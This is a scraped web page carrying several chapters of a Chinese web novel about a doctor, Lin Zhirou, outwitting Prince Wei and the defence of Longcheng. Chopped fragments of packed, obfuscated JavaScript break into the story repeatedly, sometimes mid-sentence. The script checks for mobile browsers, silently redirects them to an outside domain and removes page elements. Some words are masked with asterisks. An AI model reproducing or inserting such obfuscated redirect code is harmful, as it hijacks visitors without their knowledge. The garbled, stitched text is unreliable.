l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16037801|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那公公扬着拂尘,尖声喝道:“一群贱民,知道这是谁家的马车吗?” “管你是谁家的,规矩就是规矩!”一个老汉挺身而出。 “就是,墙上白纸黑字写着呢,即便是达官显贵也得乖乖排队!” 楚星澜在一旁看得心惊胆战,不住地扯着西七的衣袖。西七却镇定自若,悄悄把麻西浪拉到一边:“魏王府这是要抓人,你赶紧去召集人手。” 麻西浪脸色煞白:“不会吧?魏王不是最讲**的吗?” “呵,”西七冷笑一声,“四天前他来谈合作被拒,就放了狠话。今天派人来,哪有好事?” “明白了,我这就去找人,把事情闹大。”麻西浪一溜烟跑了。 林芷柔正在给一个孩子看病,头也不抬地说:“公公稍等,魏王的**病我清楚,不急于这一时。” “林大夫,这可是魏王!你竟敢怠慢?”公公的脸色阴沉得像乌云一样,手中的拂尘都抖了起来。 “在仁心医馆,谁的生命都不容小觑。”林芷柔终于抬起头,目光平静,“再说,魏王上次来看病,不也是规规矩矩排队的吗?” 这话一出,公公顿时哑口无言。他确实听说过魏王曾微服来过云州求医,若真如此,自己这般咄咄逼人,岂不是坏了王爷的名声? 百姓们纷纷附和:“对!医者的职责就是治病救人,不分贵贱!” “要看病就排队,不然等我们看完再说!” 眼看着情况越来越不受控制,公公的额头上渗出细密的汗珠。他左右为难地看了看周围的百姓,又看了看林芷柔,最后只得悻悻地退到一边。 这时,麻西浪已经带着一群人赶了回来。他们都是平日里受过林芷柔照顾的百姓,听说医馆有难,二话不说就跟着来了。 人群中,不知是谁喊了一声:“林大夫要是出了什么事,我们跟魏王府没完!” “对!谁敢动林大夫,我们就跟谁拼了!” 第二百四十二章 侍卫和公公站在医馆门口,神情倨傲。 林芷柔神色专注,纤细的手指搭在病患的脉门上。她身着一袭素色长裙,乌黑的长发挽成简单的发髻,清冷的气质中透着几分不容侵犯的倔强。 “这位大婶,您最近总是头晕乏力,应该是气血两虚。”她抬手写下药方,“按时服用,一个月后再来复诊。” “谢谢林大夫。”老妇人接过药方,满脸感激。 门口的公公等得不耐烦,咳嗽一声:“林大夫,魏王殿下身体抱恙,请您立即随我们前往王府。” 林芷柔连眼皮都没抬一下,继续给下一位病患把脉。阳光下,她白皙的面容平静如水,仿佛没听见对方的话。 “林大夫!”公公提高了声音,“这可是王爷的命令!” “让这么多病人干等着,就为了你们家王爷那点小毛病?”林芷柔冷笑一声,抬眸扫了他一眼,“告诉他,等我把这些病患都看完再说。” 公公脸色一沉,眼中闪过一丝怒意:“林大夫,你这是在挑战王爷的权威!” “那又如何?”林芷柔放下病人的手腕,目光如刀,“我这里每个病人的命都是命。王爷若真有急症,早就该卧床不起了,既然还能发号施令,想必也不是什么大病。” 侍卫们面面相觑,不敢轻举妄动。他们都听说过这位林大夫的厉害,医术高明,脾气古怪,就连城中的达官贵人都要给她几分薄面。 医馆里的病人纷纷低声议论,有人担忧地看着林芷柔,有人则对魏王府的人投去不满的目光。 “林大夫,您就别为难我们了。”公公放软了语气,“王爷说了,若是请不动您,我们就只能用强了。” 林芷柔置若罔闻,继续给病人诊治。阳光渐渐西斜,医馆里的人一个接一个离开,最后只剩下一位老者。 “老人家,您的腿疾需要长期调理。”她认真地写着药方,“这副药先吃着,过些日子我再给您换个方子。” “谢谢林大夫,您真是我们城南的活菩萨啊。”老者接过药方,颤巍巍地站起身。 林芷柔扶着老人走到门口,回头对着西七交代:“这几天你多照看着点,有什么事及时派人来找我。” 西七点头应下,眼中闪过一丝担忧。 转身面对公公时,林芷柔的神色已恢复平静:“现在,我可以跟你们走了。” 消息很快传到了楚府。 “什么?柔柔被魏王府的人带走了?”顾馨巧急得在院子里来回踱步,“这魏王也太霸道了!” 赵氏连忙上前安抚:“夫人别急,魏王虽然跋扈,但也不敢真把柔柔怎么样。再说了,柔柔的医术在帝都也是数一数二的,魏王府总不能不讲道理。” “话是这么说。”顾馨巧停下脚步,眉头紧锁,“可柔柔一个人在那边,我这心里总是不踏实。那魏王向来阴晴不定,万一......” 楚星澜站在一旁,眼中闪过一丝担忧:“要不我去魏王府打听打听情况?说不定能知道些什么。” “对,你快去。”顾馨巧连连点头,“要是天黑前柔柔还没回来,我们就去他魏王府外等着。” 楚星澜快步出门,直奔魏王府而去。街道上行人匆匆,不时有人议论着林芷柔被带走的事。 医馆门前已经**了不少人,西七正在向病患们解释情况。 “这魏王也太不像话了!”一个满脸皱纹的老大爷拄着拐杖,愤愤不平地说,“林大夫是我们城南的恩人,给多少人看过病,救过多少人的命,凭什么说带走就带走?” “就是!林大夫给我们看病从不收重价,还经常施药济贫,这样的好大夫哪里找?”旁边一个妇人附和道。 西七见众人义愤填膺,趁机说道:“要是天黑前林大夫还没回来,咱们就去魏王府门口讨个说法。大家说是不是?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16037802|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“对!咱们一起去!让魏王知道,林大夫不是他想留就能留的!”人群中爆发出一阵呼应。 消息很快在城南传开,越来越多的百姓自发**起来,准备去魏王府要人。街道上的气氛渐渐紧张起来。 与此同时,魏王府内。 林芷柔被领到一间华丽的厅堂。朱红的柱子上雕刻着精美的花纹,檀木桌案上摆着名贵的茶具,处处彰显着王府的奢华。 灰羽从窗外飞进来,落在她肩头,在她耳边低语:“主人小心,魏王在茶水里下了药。他想控制您的心神,让您乖乖就范。” 林芷柔微微一笑,纤细的手指轻轻抚过灰羽的羽毛。她今天来魏王府可不是任人宰割的,相反,这正是她期待已久的机会。 萤萤的锦囊已经很久没有收到新东西了,今天,她要让魏王府大开眼界。窗外的阳光渐渐暗淡,整个王府笼罩在一片诡异的气氛中。 宫女端着托盘进来时,林芷柔正倚在窗边,目光漫不经心地扫过书房内的陈设。檀木书架上摆满了典籍,案几上的青瓷花瓶中插着几枝新鲜的腊梅,暗香浮动。 这间书房布置得极为雅致,处处透着主人的品味。只可惜,再精致的布置也掩饰不了其中的杀机。 “公主,请用茶。”宫女将托盘放在桌上,声音轻柔,眼神却不敢与林芷柔对视。 林芷柔转过身,看着宫女含羞带怯的样子,心中冷笑。这些伺候人的奴才,最是擅长察言观色,想必已经知道了什么。 她不动声色地打量着茶水,碧绿的茶汤中隐约透着一丝暗青,这种细微的色差在普通人眼里或许看不出异样,但对她这个大夫来说却再明显不过。 又一个宫女端着点心进来,林芷柔微微一笑,拿起一块绿豆饼咬了一口。香甜的味道在口中化开,带着一丝沙沙的口感。她不动声色地用衣袖遮掩,从袖中取出一个小瓷瓶,倒出几滴仙露泉服下。 第二百四十三章 谈判 两刻钟后,魏王终于姗姗来迟。他一身墨色锦袍,腰间玉带流光溢彩,举手投足间尽显王者风范。 “让林公主久等了。”魏王笑容温和,“本王刚才处理了些政务,来迟了些。” 林芷柔坐在原位纹丝不动,连一个眼神都懒得给他。既然注定要撕破脸,又何必在意这些虚礼。她指着桌上那杯茶水,嘴角勾起一抹讥讽:“魏王殿下,下毒这种事情,不觉得太低级了吗?” 魏王脸上的笑容一滞,随即恢复如常:“林大夫果然名不虚传,这点小把戏瞒不过你的眼睛。” “说吧,找我来是为了什么?”林芷柔懒洋洋地靠在椅背上,手指有一下没一下地敲着桌面。 “东吴国的星**。”魏王在她对面坐下,“本王知道你是东吴国的安国公主,只要你愿意帮忙,条件随你开。” 林芷柔心中冷笑,这位魏王还真是打得一手好算盘。她故意沉吟片刻:“条件?魏王准备给我什么?” “做本王的女人如何?”魏王眼中闪过一丝贪婪,“等本王登上那个位置,封你为贵妃。后宫之中,除了皇后之位,你想要什么都可以。” “啪!”林芷柔重重拍在桌上,茶杯被震得跳了一下,茶水洒出来些许。“魏王,你是不是对本公主有什么误解?” 她冷冷地看着魏王:“我想要的是一辈子一对恩爱伴侣,不是你后宫里的一个玩物。况且,”她嘴角勾起一抹嘲讽,“魏王殿下,你确定能登上那个位置吗?” 魏王脸色阴沉:“那你想要什么?” “异姓王。”林芷柔轻飘飘地说出这三个字,“外加云州周边五个郡作为封地。” “你!”魏王猛地站起身,茶杯被他一掌拍翻,茶水洒了一桌。“林芷柔,你未免太贪心了!” “贪心?”林芷柔轻笑,“魏王想要的是天下,我要的不过是一隅之地。这笔买卖,是你赚了才对。”她站起身,整了整衣袖,“况且,你觉得东吴国的星**值不值这个价?” 魏王死死盯着她:“你是为了楚星河?” 林芷柔眼中闪过一丝异样,但很快就消失不见。她转身就要走:“这就不劳魏王操心了。告辞。” “等等!”魏王咬牙,“给本王三天时间考虑。” 魏王的书房里,一片沉寂。 气氛凝重得几乎要将人压垮。魏王站在窗前,目光透过雕花木窗望向远方,不知在想些什么。 林芷柔能感受到魏王时不时投来的目光,那是一种审视与衡量的眼神,仿佛在权衡什么重要的决定。她装作没有察觉,继续保持着那副漫不经心的模样。 “幽冥之刃...”魏王突然开口,声音低沉,“竟然会失手。” 林芷柔眼底闪过一丝讥诮。幽冥之刃,玄冥最强的**组织,向来以百分百的任务完成率闻名。然而这次在对付楚家时却折戟沉沙,连组织首领都搭了进去。 这让魏王不得不重新审视楚家的实力。 “既然杀不死,不如收为己用。”魏王喃喃自语,语气中带着几分试探。 林芷柔在心底冷笑,这位王爷还真是打的一手好算盘。不过,她对魏王的心思一清二楚。这种人,表面上谈笑风生,背地里却在算计自己的父兄,道德底线几乎为零。 “林大夫...”魏王转过身,目光灼灼地盯着林芷柔,“真的没有商量的余地了吗?” “没有。”林芷柔语气淡然,手指依旧在茶盏边缘游走。 魏王眉头紧皱:“这个要求太难了,本王一时难以答应。若是换个条件...” “可以啊。”林芷柔突然坐直了身子,眼中闪过一丝狡黠。她伸了个懒腰,动作优雅而慵懒,“本公主倒是有个更简单的提议。” 魏王一愣,随即警惕起来:“林大夫,本王说的也是实在的。” “本公主说的也是实打实的。”林芷柔嘴角勾起一抹讥讽,手指轻轻敲击着茶几,“本公主倒是好奇,魏王凭什么觉得自己能赢?” 魏王的脸色瞬间变得难看起来:“这个恕本王不能说。” “那换个简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050253|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单的问题。”林芷柔站起身,缓步走到窗前,与魏王并肩而立,“魏王的银子够买东吴国的星**吗?” “这...”魏王语塞,眼中闪过一丝慌乱。 “别说空话,本公主要验资。”林芷柔直视着魏王的眼睛,语气中带着几分戏谑。 “验资?”魏王眉头紧锁。 “就是看看你的库房究竟有多少真金白银。”林芷柔直截了当,“本公主可不想白跑一趟。” 她心里明白,魏王的底细早就被她摸得一清二楚。这番试探,不过是为了看看这位王爷能否经得起诱惑。 书房内的气氛越发凝重。魏王来回踱步,眉头紧锁。他时不时瞥向林芷柔,似乎在权衡利弊。 “王爷在担心什么?”林芷柔轻笑一声,“难道是怕本公主这个手无缚鸡之力的弱女子偷了你的库房?” 魏王神色一滞,随即露出一丝尴尬的笑容:“林大夫说笑了。” “那就带路吧。”林芷柔优雅地整理了一下衣袖,“本公主时间宝贵,可不想在这里浪费。” 魏王沉思片刻,最终还是点了点头。他觉得带一个手无缚鸡之力的女人去库房也无妨。更何况,他对自己的防卫很有信心。 他甚至有些期待林芷柔看到满库房金银时的表情。 殊不知,林芷柔心中已经在盘算如何将这些财富收入囊中。她嘴角微扬,眼底闪过一丝算计的光芒。 这位魏王,怕是还不知道自己即将面对什么。 林芷柔跟在魏王身后,看着他挺拔的背影,心中不禁觉得好笑。 这位王爷,真以为自己是在下一盘大棋吗? 殊不知,他不过是别人棋盘上的一枚棋子罢了。 林芷柔跟随魏王司马川穿过长廊,步入王府西南角的一片荒僻之地。 她暗自打量四周,心中盘算着灰羽提供的情报。这处地方确实隐蔽,四周种满了各色花木,远远望去就像一处普通的花园。若不是提前得到消息,谁能想到魏王的秘密库房会设在这里? 第二百四十四章 搬空魏王府库房 林芷柔站在库房门口,眼底闪过一丝讥诮。朱漆大门紧闭,门框上的铜环在阳光下泛着冷冽的光泽,仿佛在无声地嘲笑着什么。 “魏王,您不是说要给我看库房里的金银珠宝吗?”她的声音轻柔中带着几分玩味,“怎么,现在又不急着开门了?” 魏王的脸色略显不自然,但还是维持着高傲的姿态。他挥手示意守门的下人开门,铜钥匙插入锁孔的声音在寂静的院落中格外清晰。 “林大夫,请。”魏王做出一个邀请的手势,眼中闪过一丝得意。 沉重的朱漆大门缓缓打开,带起一阵尘埃。林芷柔不动声色地后退半步,避开扑面而来的灰尘。 魏王昂首阔步走进库房,脚步声在空旷的房间里回荡。他的背影看起来那么自信,仿佛即将展示什么了不起的宝藏。 可当他看清眼前的景象时,整个人如遭雷击,脚步猛地顿住。 一排排空荡荡的木架整齐地矗立着,原本堆满金银珠宝的地方,此刻干净得令人心惊。角落里的蛛网随着微风轻轻摇曳,仿佛在无声地诉说着这里的荒凉。 他揉了揉眼睛,不敢相信眼前的一切。再揉一次,依旧如此。阳光透过窗棂洒进来,将他的影子拉得很长,也将他的狼狈暴露无遗。 “这...这怎么可能?”魏王的声音都在颤抖,他踉跄着后退两步,撞到了身后的木架。 林芷柔靠在门框上,看着魏王慌乱的样子,唇角微微上扬。她的手指轻轻敲击着门框,发出轻微的节奏声,仿佛在为这场闹剧打着拍子。 魏王猛地转身,目光如刀般扫向两个看守库房的下人。那两人早已吓得面无人色,双腿发软。 “说!库房的东西都去哪了?”他双目赤红,如同一头暴怒的狮子,声音在空旷的库房中回荡。 那两个下人“扑通”一声跪在地上,额头重重地磕在地面上。 “王爷饶命,昨日巡查时还好好的,今日...今日就...”个子高的那个结结巴巴地说道,声音里带着哭腔。 矮个子已经吓得说不出话来,只是不停地磕头。“咚咚”的声响在库房中格外刺耳,他的额头很快就渗出了血丝。 林芷柔看着这一幕,眼中闪过一丝不忍,但很快就被冷意取代。她想起了那些被魏王害死的无辜百姓,心中的怜悯顿时烟消云散。 魏王抬手就要动手,指节因为用力而发白。眼看着他的手掌就要落在那个高个子下人的脸上,林芷柔突然开口。 “魏王,先别急着**。”她缓步走近,裙摆轻轻拂过地面,“要搬空这么大的库房,不可能是一两个人能做到的。而且...”她意味深长地看了眼窗户,“这些窗户都完好无损,门锁也没有撬动的痕迹。” 魏王的手停在半空,眼中闪过一丝思索。阳光透过他的指缝,在地上投下斑驳的影子。 “你说得对。”他放下手,死死盯着两个下人,目光阴鸷,“给你们七天时间,查出是谁干的。否则...” 他没有说完,但那两个下人已经吓得面如土色,身子不住地颤抖。 林芷柔转身就要离开。然而还没等她迈出库房,就被魏王拦住。 “林大夫,你不能走。”他的声音里带着一丝不易察觉的慌乱。 “哦?为何?”林芷柔停下脚步,转过身来,眼中带着几分玩味。 “库房失窃,事关重大。在查清真相之前,你不能离开王府。”魏王的语气强硬起来,试图掩饰内心的不安。 林芷柔轻笑一声,笑声中带着几分讥讽:“魏王这是要软禁本公主?你就不怕...” “本王只是不想消息走漏。”魏王打断她的话,但眼神却有些闪躲。 “你确定要留下我?”林芷柔眯起眼睛,目光如刀般锋利,“别忘了,我可是福康仁心医馆的大夫。你那病...” 话音未落,魏王的腹部突然传来一阵剧烈的疼痛。他的脸色瞬间变得苍白,额头渗出细密的汗珠。但他还是强撑着,不让自己露出破绽。 “林大夫说笑了,本王只是请你小住几日。”他的声音依旧强硬,但已经带上了一丝虚弱。 “好啊。”林芷柔不紧不慢地说,语气轻松得仿佛在谈论天气,“不过若是出了什么事,可别怪我没提醒你。” 魏王看着她,眼中闪过一丝阴霾。他的手不自觉地按在腹部,那里的疼痛还在持续。 库房里,两个下人还跪在地上,瑟瑟发抖。魏王深吸一口气,强忍着腹部的疼痛,大步走出库房。 “给我彻查!”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050254|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音在院落中回荡,“一定要查出是谁干的!” 回应他的,只有院落中的一片寂静。 这一局,他输得太过难看。不仅库房被洗劫一空,还在林芷柔面前丢尽了脸面。但他不会就此罢休。 腹部的疼痛提醒着他,他现在还不能动林芷柔。至少在找到新的大夫之前,他必须忍耐。 林芷柔走在回廊上,听着身后传来的脚步声和压抑的咳嗽声,嘴角勾起一抹冷笑。 她知道,这场博弈才刚刚开始。 “是!”那人恭敬地向林芷柔躬身,做了个请的手势,眼神中带着一丝谨慎和敬畏。 林芷柔背着手,大摇大摆地离开,嘴角挂着一抹若有若无的笑意。她的步伐轻快,裙摆在微风中轻轻摆动,仿佛一只骄傲的孔雀。 魏王站在廊下,望着她远去的背影,手指不自觉地攥紧了衣袖。他的眼中闪过一丝阴鸷,若是让他知道是谁偷了库房的银子,必将那人**万段。可眼下,他却不得不忍气吞声。 “王爷,”管家小心翼翼地凑上前,“要不要派人跟着林大夫?” 魏王摆了摆手,眉头紧锁:“不必了。” “想知道?”林芷柔的声音在脑海中回响,带着几分戏谑,“本大夫就是不告诉你。” 腹部突如其来的剧痛让魏王冷汗直冒,他扶着墙壁,跌跌撞撞地回到书房。关上门后,他快步走到右侧的书架前,颤抖的手指按动了一个隐秘的机关。书架无声地分开,露出一扇暗门。 暗室不大,却足够三人藏身。空气中弥漫着一股淡淡的药香,这是他特意熏制的,为的就是掩盖其他气味。魏王从角落取出一个精致的木盒,里面整齐地摆放着几支竹管。这是他从林芷柔手中买来的止痛药液,如今只剩下三支。 “又要少一支了。”魏王叹了口气,拔开竹管,将药水一饮而尽。苦涩的药味在口中蔓延,他却顾不得这些。 药效很快发作,腹痛渐渐缓解。魏王的眉头却越皱越紧,额头上的冷汗还未干透。他靠在墙上,目光落在剩下的两支药水上。 林芷柔这个女人,不能得罪。不仅因为她是东吴国的安国公主,更因为她手中握着自己急需的药水和星**。可库房的银子不翼而飞,这场交易还怎么谈? 第二百四十五章 放人 会客厅里,林芷柔悠闲地品着茶,手指轻轻敲击着茶杯。 “林大夫,”丫鬟小心地端着点心走近,“这是厨房刚做的桂花糕。” 林芷柔拈起一块,轻轻咬了一口,眼中闪过一丝赞赏:“不错,比上次的好多了。” 丫鬟脸上露出喜色:“那是,王爷特意吩咐厨房按照林大夫的口味改良的。” “是吗?”林芷柔轻笑一声,“那还真是有心了。” 她心中暗笑,若是魏王知道他的银子都进了萤萤的口袋,不知会是什么表情。那些银子,可都是为了给城南的穷苦百姓准备的药材。 夜幕降临,城南的百姓却沸腾了。街道上人声鼎沸,火把的光芒照亮了半边天空。 “林大夫还没回来!”一个老妇人焦急地喊道。 “魏王府凭什么扣着我们的神医?”人群中有人愤怒地吼道。 “走,我们去接林大夫回家!” 顾馨巧握着药包,站在人群最前方:“大家别急,我们有序一点。” 赵氏拉着自己的小孙女,眼中含泪:“要不是林大夫,我家丫头的病早就...” 越来越多的人**在魏王府门前。他们不吵不闹,只是整齐地喊着同一句话:“林大夫!我们来带你回家啦!” 声音此起彼伏,连城南的百姓都被惊动,纷纷前来围观。有人问明缘由,立刻加入了呐喊的队伍。 麻西浪领着城东的人也赶来了。他的儿子曾经被林芷柔救过一命,这份恩情他永远记得。 “大家安静!”麻西浪高声喊道,“我们就在这里等,等到林大夫出来为止!” 数百人的声音汇聚在一起,响彻楚空。 “林大夫!我们来带你回家啦!” “林大夫!我们来带你回家啦!” 回声在城中久久回荡。这些百姓,有的是因为林芷柔给孩子们发放的驱虫药,有的是听说过她治好了严明远的怪病。但所有人都知道,仁心医馆的林大夫是个真正的神医。 。 司马川揉了揉发胀的太阳穴,指尖微微用力,试图缓解这几日积压的烦闷。 书房内一片寂静,只有他略显粗重的呼吸声。案几上的茶水早已凉透,茶叶在杯底沉淀,像极了他此刻混沌的思绪。 这些日子,他对林芷柔可谓是费尽心思,却始终拿她毫无办法。每每想起那个女人淡然的眼神,他就觉得一阵无力。 软的不行,硬的不成,这个女人就像一块光滑的顽石,任何手段都无法在她身上留下痕迹。更让他难堪的是,库房被洗劫一事,让他在林芷柔面前彻底失去了颜面。 司马川站起身,踱步到窗前。“咚咚咚——”门外传来轻微的叩门声。 “进来。” 管家推门而入,弓着身子,小心翼翼地观察着主子的神色:“王爷,林大夫那边...” 司马川背对着管家,目光依旧停留在院中,声音里带着几分疲惫:“送她走。” 管家一时没反应过来,愣在原地。这命令与先前可是大相径庭,他不确定是否听错了。 “还愣着做什么?”司马川转过身,眼中闪过一丝不耐,“还不快去?” 管家连忙应声,转身快步朝会客厅赶去,脚步声在空旷的走廊上回荡。 会客厅内,林芷柔正悠闲地品着茶。 管家满脸堆笑地跑进来,额头上还渗着细密的汗珠:“林大夫,是我们招待不周,王爷让我送您回去。” “哦?”林芷柔放下茶杯,瓷器与托盘相碰发出清脆的声响,“魏王终于想通了?”她意味深长地看着管家,眼底藏着几分笑意。 管家连忙打圆场:“,一时疏忽了...” “行了。”林芷柔优雅地站起身,整了整衣袖,“少说这些场面话。不过,你得亲自送我出府。” 管家心领神会,立刻应承下来。 两人一路无话。 直到走出王府大门,林芷柔才停下脚步。她看着等候多时的百姓,眼中闪过一抹坚定。魏王府的那笔银子,正好可以用来救济这些穷苦人。 与此同时,太子府中。 书房内,司马宁放下手中的密报,紧绷的神经终于松弛下来。得知林芷柔平安无事,他悬着的心总算落地。窗外的竹影在纸窗上摇曳,带来几分清凉。 “去请小墨来。”他对身边的侍从吩咐道。 很快,一只灵巧的鹰隼飞入书房,落在案几上。阳光下,它的羽毛泛着淡淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050255|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的光泽。 “主人!”小墨欢快地叫道,歪着脑袋看着司马宁。 司马宁将写好的信笺卷起:“帮我送封信给楚星河。” 小墨拍了拍翅膀:“可是我不认识路,得让我爹带路才行。” 仁心医馆内。 林芷柔正在给竹筒装仙露泉,动作轻柔而细致。阳光透过窗户洒在竹筒上,折射出晶莹的光芒。听到小墨的来意,她眼前一亮。 “青羽,你和灵灵正好可以一起去。”她转头看向在一旁打盹的青羽。 青羽一下子炸起毛来:“不去!你是不是想拆散我们夫妻?” 林芷柔看着青羽夸张的反应,不禁莞尔:“你们可以一起去陪着星河。” “那也不行!”青羽继续**,扑腾着翅膀,“你还要我们背这么重的东西!” 灵灵轻轻蹭了蹭青羽:“青羽,主人对我们这么好,我们该报答她才是。”她的声音温柔,带着几分劝慰。 “就是,爹你太不懂事了!”小墨也跟着数落,在空中转了个圈。 在三个女性的**下,青羽终于妥协,但还是忍不住小声嘀咕着。 林芷柔将竹筒分别固定在两只鹰隼背上,仔细检查每一处绑带的松紧度。阳光下,仙露泉在竹筒中荡漾,折射出点点光芒。 “记住,把这些仙露泉安全送到。”她轻声叮嘱,目光柔和。 看着三只鹰隼展翅高飞,渐渐消失在天际,林芷柔的思绪不由得飘向远方。微风拂过她的发梢,带来几分清凉。 医馆外传来病人的说话声,将她的思绪拉回现实。她整理了一下衣袖,转身走向门口。今天还有很多病人等着她诊治,没时间多想。 但她知道,这些仙露泉对楚星河来说意味着什么。那个倔强的男人,不知道此刻在做什么? 夕阳西下,将整个帝都染上一层金色。街道上行人渐少,各家各户升起炊烟。林芷柔站在医馆门口,望着天边的晚霞,心中思绪万千。 今天发生的一切仿佛都在预示着什么,但她却说不清楚。或许,这就是命运的指引?她轻轻摇了摇头,收回目光。 无论如何,她都会继续走下去。至于那些纷争,那些算计,就让它们随风而去吧。 第二百四十六章 大战黑鹰帮 寒风呼啸的陇城,楚星河裹紧了身上的厚重披风,站在高耸的城墙上。积雪在他的靴子边堆积,寒气从脚底一直渗到心里。他的目光不由自主地朝帝都的方向望去,这已经是今晚第七次了。 “少将军,喝碗热汤暖暖身子。”一个士兵端着热气腾腾的肉汤走来。 楚星河接过碗,却只是捧在手里取暖。“你先去休息吧,我再守会儿。” 士兵欲言又止,最终还是转身离去。大家都知道,少将军每到深楚就会站在这个位置,遥望帝都的方向。 柔柔给的银子已经用得差不多了。这鬼地方,光是一顿饭就要花去大笔银钱。弟弟正在发育中,不能亏着;父亲年纪大了,更得补充营养。至于他自己,少吃点也无所谓。 突然,远处传来一阵急促的号角声,打断了他的思绪。 “黑鹰帮来了!”瞭望塔上的士兵高声喊道,声音在寒风中显得格外刺耳。 楚星河眯起眼睛,望向城外的黑暗。这些日子,黑鹰帮一直在骚扰陇城,每次都是试探性的进攻。但这次不同,远处密密麻麻的火把,显示着敌人的数量远超以往。 “父亲,”楚星河转身对楚云浪说道,声音沉稳而坚定,“我们按计划行事。” 楚云浪点点头,眼中闪过一丝锐利的光芒。多年的征战经验告诉他,这将是一场恶战。 “传令下去,所有人按照计划,躲到霜垣后面。”楚星河沉声道。这是他想出来的办法,用冰块堆砌的墙壁,能有效地挡住黑鹰帮的飞火连珠弓。 城墙上的将士们迅速行动起来,每个人都知道自己该做什么。寒冷的天气反而成了他们的优势,让这些霜垣变得更加坚固。 “轰!”一声巨响打破了夜的寂静。 一颗巨大的冰球从投石机上呼啸而出,直接砸中了一个操纵飞火连珠弓的黑鹰帮。那人连惨叫都来不及发出,就被冰球砸得粉碎。 “好!”将士们忍不住欢呼,但很快又恢复了警惕。他们都明白,这不过是战斗的开始。 林小七带着三队狐群,静静地趴在山顶上。它们的眼睛在黑暗中闪着幽光,等待着主人的命令。这些狐群是楚星河的一张王牌,只在最关键的时刻才会使用。 刀光剑影中,楚星河的剑如闪电般划过。每一剑,都要了一个黑鹰帮的命。他的动作干净利落,没有丝毫多余的花哨。这是实战中磨练出来的本事,每一分力气都用在刀刃上。 楚云浪的大刀更是威猛,所到之处,黑鹰帮纷纷倒下。年纪虽大,但那份杀伐果断丝毫不减当年。父子二人配合默契,在战场上开辟出一片真空地带。 这一夜楚,陇城的将士们用生命在守护这片土地。有人倒下,就有人补上。霜垣被击碎了,就立刻重新堆砌。没有人退缩,也没有人畏惧。 直到东方泛起鱼肚白,黑鹰帮们才不甘心地撤退。他们的损失太大了,飞火连珠弓根本发挥不出威力,反而成了累赘。 “快,趁这个机会,加固霜垣!”楚星河立刻下令。他知道,黑鹰帮一定还会再来。但只要有这道霜垣在,就不怕他们的飞火连珠弓。 将士们干劲十足地忙碌起来。昨晚的胜利,让他们对这道霜垣充满了信心。有人搬运冰块,有人调配浇水的比例,每个人都干得热火朝天。 楚星河站在城头,望着远方。战斗的热血渐渐退去,疲惫感开始侵袭全身。他的右臂有一道伤口,虽然不深,但还是渗出了血迹。 他的心里想着柔柔,不知道她现在怎么样了。这种时候,他特别想念她配制的药膏,不仅效果好,还带着她特有的温柔。 城墙下的士兵们开始清理战场。地上的积雪被染红,散落着断裂的兵器和黑鹰帮的尸体。这就是陇城的日常,没有华丽的辞藻,只有******。 楚云浪走到儿子身边,递过来一个水袋。“休息一会儿吧,让士兵们处理后续。” 楚星河摇摇头,接过水袋喝了一口。“我得看着他们加固霜垣,这是最重要的。” 父子俩并肩而立,看着忙碌的将士们。晨光中,那道霜垣显得格外醒目,像一道银色的屏障,守护着这座陇城的安宁。 寒风呼啸,陇城的楚晚格外寂静。城墙上的火把在风中摇曳,将守楚士兵的影子拉得老长。 “飞火连珠弓是我天玄的利器,怎会落入玄冥之手?”一名年轻将士握紧了手中的**,眉头紧锁。他的声音里带着愤怒,却又刻意压低,生怕被巡逻的军官听见。 “嘘,小声点。”旁边的老兵用手肘轻轻碰了碰他,“云陵伯父子因此获罪,如今被贬至此地,这事你还敢乱说?” “可这不公平!”年轻将士咬着牙,“云陵伯为国征战数十载,功勋赫赫,怎能说贬就贬?” “世事岂能尽如人意?”老兵叹了口气,眼中闪过一丝无奈,“还不是帝都那位老糊涂了,整日疑神疑鬼,忌惮功臣。” 